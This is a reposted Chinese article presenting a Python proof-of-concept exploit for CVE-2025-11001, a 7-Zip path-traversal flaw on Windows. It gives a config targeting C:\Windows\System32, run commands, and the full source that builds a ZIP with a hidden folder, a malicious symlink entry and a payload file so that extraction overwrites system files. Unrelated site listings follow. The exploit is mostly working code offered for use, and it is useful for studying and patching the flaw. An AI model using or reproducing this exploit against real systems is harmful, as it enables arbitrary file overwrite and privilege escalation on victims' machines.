news 2026/6/14 15:12:37

7-ZiProwler:CVE-2025-11001 漏洞利用工具

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
7-ZiProwler:CVE-2025-11001 漏洞利用工具

项目标题与描述

7-ZiProwler (CVE-2025-11001)

这是一个针对CVE-2025-11001漏洞(7-Zip路径遍历漏洞)编写的概念验证(PoC)利用工具。该漏洞源于7-Zip(25.00版本之前)在Windows系统上处理包含Linux风格符号链接的ZIP压缩包时存在缺陷,攻击者可利用此漏洞实现任意文件写入,从而可能导致权限提升或系统被控制。

本项目使用Python编写,通过构造包含恶意符号链接的ZIP文件来演示该漏洞的利用过程。重要提示:请仅在授权的测试环境中使用此工具。

功能特性

  • 漏洞利用自动化:根据配置文件自动生成包含恶意符号链接的ZIP压缩包。
  • 模拟真实场景:在ZIP包中创建一个隐藏的.zip文件夹来存放符号链接,模拟可能的攻击载荷。
  • 灵活的配置:通过TOML配置文件轻松指定目标目录、源文件目录、载荷文件以及输出文件路径。
  • 详细的日志记录:执行过程中提供清晰的信息输出,便于跟踪工具的执行状态。
  • 遵循漏洞原理:严格遵循CVE-2025-11001的漏洞成因,即利用相对路径处理不当导致的目录遍历。

安装指南

前提条件

  • Python 3.x
  • 包管理工具:推荐使用uvpip

依赖安装

项目依赖在代码中可见,主要是标准库和toml库。Python 3.11及以上版本的标准库已包含toml库(tomllib)。如果使用较早的Python版本,可能需要安装toml

使用uv(项目推荐)安装运行环境:

# 确保已安装uv (https://docs.astral.sh/uv/)uv run src/main.py

使用pip安装依赖(如果需要):

pipinstalltoml

获取代码

假设您已将项目文件下载到本地。

使用说明

1. 配置

在使用前,必须编辑配置文件resource/config.toml

[path] # 生成的恶意ZIP文件的输出路径 output = 'resource/output/result.zip' # 包含将要被打包到ZIP中的正常文件的源目录 source = 'path/to/some/dir' # 目标目录(你希望替换其中文件的目录,例如系统目录) target = 'C:\Windows\System32' # 载荷文件(将用于替换目标目录中原文件的文件) payload = 'C:\Windows\System32\calc.exe'

参数说明:

  • output: 工具运行后生成的ZIP文件路径。
  • source: 一个包含正常文件的目录,这些文件会被打包到ZIP的根目录下,用于伪装。
  • target: 希望进行文件替换的目标Windows绝对路径(例如系统目录)。
  • payload: 用于替换目标文件的恶意载荷文件路径。

2. 运行利用程序

在项目根目录下执行:

uv run src/main.py

或直接运行Python脚本:

python src/main.py

3. 触发漏洞

将生成的ZIP文件(如result.zip)在存在漏洞的7-Zip版本(< 25.00)的Windows系统上解压。解压后,target参数指定的目录下的某个文件(由payload的文件名决定)将被替换为载荷文件。同时,解压出的文件夹中会包含一个隐藏的.zip文件夹。

警告:生成的ZIP文件具有破坏性。请务必在隔离的虚拟机或测试环境中进行解压测试,切勿在生产环境或重要个人电脑上操作。

核心代码

以下摘录并注释了项目中的核心代码文件src/main.py

importosimportsysimporttimeimporttomlimportloggingimportzipfile# ... (ASCII艺术字和日志配置省略)defadd_dir(output,arcname,hidden=False):""" 向ZIP文件对象中添加一个目录条目。 参数: output: zipfile.ZipFile 对象。 arcname: 目录在ZIP中的路径。 hidden: 布尔值,如果为True,则设置目录的DOS隐藏属性。 """ifnotarcname.endswith('/'):arcname+='/'conf=zipfile.ZipInfo(arcname)conf.date_time=time.localtime(time.time())[:6]DOS_DIR=0x10ifhidden:DOS_HIDDEN=0x02dos_attrs=DOS_DIR|DOS_HIDDENelse:dos_attrs=DOS_DIR conf.external_attr=dos_attrs# 设置外部文件属性(此处用于模拟DOS目录和隐藏属性)conf.compress_type=zipfile.ZIP_STORED# 使用存储模式(不压缩)output.writestr(conf,b'')# 写入空内容以创建目录条目logging.info(f"Added dir{arcname}")defadd_file(output,arcname,src_path):""" 将本地文件添加到ZIP文件对象中。 参数: output: zipfile.ZipFile 对象。 arcname: 文件在ZIP中的路径。 src_path: 本地源文件的路径。 """withopen(src_path,'rb')asf:payload=f.read()conf=zipfile.ZipInfo(arcname)conf.date_time=time.localtime(time.time())[:6]conf.create_system=3# 设置为UNIX系统,以兼容外部属性设置conf.external_attr=(0o100644<<16)# 设置类UNIX文件权限 (rw-r--r--)conf.compress_type=zipfile.ZIP_STORED output.writestr(conf,payload)logging.info(f"Added file{arcname}")defmain():# ... (打印横幅和启动日志省略)# 1. 加载配置文件withopen("./resource/config.toml",'r')asfile:config=toml.load(file)zip_out=config["path"]["output"]source=config["path"]["source"]target=config["path"]["target"]# 目标目录,例如 C:\Windows\System32payload=config["path"]["payload"]# 载荷文件top_dir=os.path.basename(os.path.normpath(source))# 2. 构造恶意路径结构hidden_zip_dir=f"{top_dir}/.zip"# 隐藏的.zip目录link=f"{hidden_zip_dir}/link"# 符号链接文件的路径payload_name=os.path.basename(payload)file_entry=f"{link}/{payload_name}"# 载荷文件在ZIP中的路径(将写入符号链接指向的位置)output=zipfile.ZipFile(zip_out,"w")# 3. 添加正常的目录和文件结构(用于伪装)source_dir_path=os.path.normpath(source)add_dir(output,top_dir)add_dir(output,hidden_zip_dir,hidden=True)# 添加隐藏的.zip目录forroot,dirs,filesinos.walk(source_dir_path):forfileinfiles:file_path=os.path.join(root,file)rel_path=os.path.relpath(file_path,source_dir_path)arcname=f"{top_dir}/{rel_path}"add_file(output,arcname,file_path)fordir_nameindirs:dir_path=os.path.join(root,dir_name)rel_path=os.path.relpath(dir_path,source_dir_path)arcname=f"{top_dir}/{rel_path}/"add_dir(output,arcname)# 4. 创建恶意的符号链接条目(漏洞利用的核心)conf=zipfile.ZipInfo(link)conf.date_time=time.localtime(time.time())[:6]conf.create_system=3# UNIX系统# 设置外部属性为符号链接 (0o120777 -> lrwxrwxrwx)# 这是关键,它告诉解压软件这是一个符号链接文件conf.external_attr=(0o120777<<16)conf.compress_type=zipfile.ZIP_STORED# 将符号链接的目标路径(target)作为该ZIP条目的内容写入# 存在漏洞的7-Zip会错误地将此相对路径与解压目录拼接,导致路径遍历output.writestr(conf,target.encode('utf-8'))logging.info("Symlink added")# 5. 添加载荷文件。其路径(file_entry)指向了符号链接内部。# 当解压时,7-Zip会尝试将此文件写入到符号链接指向的目标位置。add_file(output,file_entry,payload)logging.info(f"Bon Appétit!")output.close()if__name__=="__main__":main()

代码流程总结:

  1. 加载配置:读取目标路径、源目录和载荷文件。
  2. 构建ZIP结构:创建包含正常文件的目录树和一个隐藏的.zip文件夹。
  3. 植入符号链接:在隐藏文件夹内创建一个符号链接文件,其内容(链接目标)指向配置的target路径(如C:\Windows\System32)。
  4. 嵌入载荷:将一个文件(载荷)添加到ZIP中,但其路径被设置为位于符号链接“内部”(例如{隐藏文件夹}/link/calc.exe)。
  5. 漏洞触发:当存在漏洞的7-Zip解压此ZIP时,会错误解析符号链接,将载荷文件写入到target指定的系统目录中,覆盖原有文件。
    6HFtX5dABrKlqXeO5PUv/zYh9Asx8aX0tywYbTHNzf8=
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/14 1:36:34

综合布线品牌排名哪家技术强

综合布线品牌排名哪家技术强 在当今数字化时代&#xff0c;综合布线系统作为网络基础设施的重要组成部分&#xff0c;其技术水平直接影响着网络的性能和稳定性。众多综合布线品牌在市场上竞争激烈&#xff0c;究竟哪家技术更强呢&#xff1f;让我们来深入分析。 大唐风暴&…

作者头像 李华
网站建设 2026/6/12 6:20:51

Markdown TOC自动生成PyTorch文档目录

Markdown TOC 自动生成 PyTorch 文档目录 在现代 AI 工程实践中&#xff0c;一个常见的挑战是&#xff1a;如何在快速迭代的模型开发中&#xff0c;同时保证环境的一致性和文档的专业性&#xff1f;我们经常遇到这样的场景——团队成员各自配置本地环境&#xff0c;结果“在我机…

作者头像 李华
网站建设 2026/6/13 5:27:42

PHP开源订水平台源码系统,支持手动派单或自动分配

温馨提示&#xff1a;文末有资源获取方式在本地生活服务全面线上化的今天&#xff0c;送水行业也需借助数字工具提升竞争力。选择一套合适的在线订水系统&#xff0c;是业务升级的第一步。本文将深入解析一款备受推崇的PHP开源订水平台源码&#xff0c;看它如何为您的送水业务注…

作者头像 李华
网站建设 2026/6/10 21:16:36

vue2大文件上传组件的源码解析与扩展开发

要求&#xff1a;免费,开源,技术支持 技术&#xff1a;百度webuploader&#xff0c;分块&#xff0c;切片&#xff0c;断点续传&#xff0c;秒传&#xff0c;MD5验证&#xff0c;纯JS实现&#xff0c;支持第三方软件集成 前端&#xff1a;vue2,vue3,vue-cli,html5,webuploader …

作者头像 李华
网站建设 2026/5/28 13:53:49

Jupyter Notebook分栏显示PyTorch代码与输出

Jupyter Notebook 分栏显示 PyTorch 代码与输出 在高分辨率显示器普及的今天&#xff0c;开发者却仍在为“写一行代码、滚三屏看结果”而烦恼。尤其是在深度学习实验中&#xff0c;一个训练循环的日志动辄上百行&#xff0c;图像生成结果藏在文档底部&#xff0c;调试时来回翻…

作者头像 李华
网站建设 2026/6/10 21:14:04

Spring Boot 校园综合服务

Spring Boot 校园综合服务介绍 在现代校园生活节奏日益加快、师生需求愈发多元化的当下&#xff0c;Spring Boot 校园综合服务系统宛如一位万能助手&#xff0c;全方位覆盖校园学习、生活、社交等各个领域&#xff0c;依托 Spring Boot 强大的开发框架&#xff0c;将繁杂事务化…

作者头像 李华